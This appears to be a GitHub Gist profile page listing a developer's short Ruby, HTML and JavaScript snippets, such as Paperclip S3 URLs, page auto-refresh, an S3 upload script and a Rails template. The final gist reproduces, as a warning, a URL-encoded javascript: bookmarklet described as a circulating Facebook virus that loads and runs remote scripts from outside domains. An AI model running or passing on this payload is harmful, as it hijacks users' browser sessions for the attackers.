Skip to content

Instantly share code, notes, and snippets.

View thechrisoshow's full-sized avatar

Chris O'Sullivan thechrisoshow

View GitHub Profile
@thechrisoshow
thechrisoshow / attachment_extension.rb
Created February 2, 2012 10:57
Have a failsafe s3 url for paperclip attachments
module Paperclip
class Attachment
def url_with_failsafe style = default_style, include_updated_timestamp = true
unadorned_url = url_without_failsafe(style, include_updated_timestamp)
if in_bucket_substitution_environment? && !exists?
unadorned_url.sub(/\/#{bucket_name}\//, '/specle-production/')
else
unadorned_url
end
@thechrisoshow
thechrisoshow / whitelabeling.rb
Created August 16, 2011 10:43
How should I white label a Rails app?
class ApplicationController < ActionController::Base
around_filter :set_white_label
private
def set_white_label
subdomains = request.subdomains - RESERVED_SUBDOMAINS
if subdomains.empty?
yield
return
*****************************************************************
DEPRECATION WARNING: you are using deprecated behaviour that will
be removed from a future version of RSpec.
/Users/thechrisoshow/work/cvf/spec/models/booking_spec.rb:126:in `block (3 levels) in <top (required)>'
* be_close(12.1, 0.01) is deprecated.
* please use be_within(0.01).of(12.1) instead.
*****************************************************************
@thechrisoshow
thechrisoshow / mailer_spec.rb
Created June 17, 2011 09:46
Testing email delivery in Rails 3 vs Rails 2
# Using rspec mocking:
# Rails 2 method:
UserMailer.should_receive(:deliver_signup)
# Cumbersome Rails 3 method:
mailer = mock
mailer.should_receive(:deliver)
UserMailer.should_receive(:signup).and_return(mailer)
@thechrisoshow
thechrisoshow / refresh_page.html
Last active September 26, 2015 02:48
Refresh the page html
<meta http-equiv="refresh" content="10" />
@thechrisoshow
thechrisoshow / auto_refresh.js
Created June 15, 2011 09:57
Auto refresh the page
// Ok, document.ready is jQuery - but you get the gist
$(document).ready(function() {
setTimeout(function() {
location.href = location.href;
}, 10000);
// 10000 == 10 seconds
// Change this if you want a different refresh period
});
@thechrisoshow
thechrisoshow / dimensions.rb
Created June 10, 2011 13:40
provides list of dimensions
def dimensions
dimensions = []
dimensions << height if height
dimensions << width if width
dimensions << depth if depth
dimensions.join(" x ")
end
@thechrisoshow
thechrisoshow / upload.rb
Created June 5, 2011 13:03
This script uploads files to a S3 bucket
require 'rubygems'
require 'aws/s3'
# Change the access key and secret to your amazon credentials
AWS::S3::Base.establish_connection!(
:access_key_id => 'ACCESS_KEY_ID',
:secret_access_key => 'SECRET'
)
# Change this to your S3 bucket name
WEBSITE_BUCKET_NAME = "YOUR_BUCKET_NAME"
@thechrisoshow
thechrisoshow / standard.rb
Created June 2, 2011 13:57
Rails Template
create_file '.rvmrc' do
'echo "RVM: Switching to Ruby 1.9.2"'
'rvm 1.9.2'
end
append_to_file '.gitignore', "*.sw?"
gem('formtastic')
gem('sass')
gem("mysql2", :group => "production")
@thechrisoshow
thechrisoshow / gist:974500
Created May 16, 2011 14:06
This is a facebook virus going around right now
javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B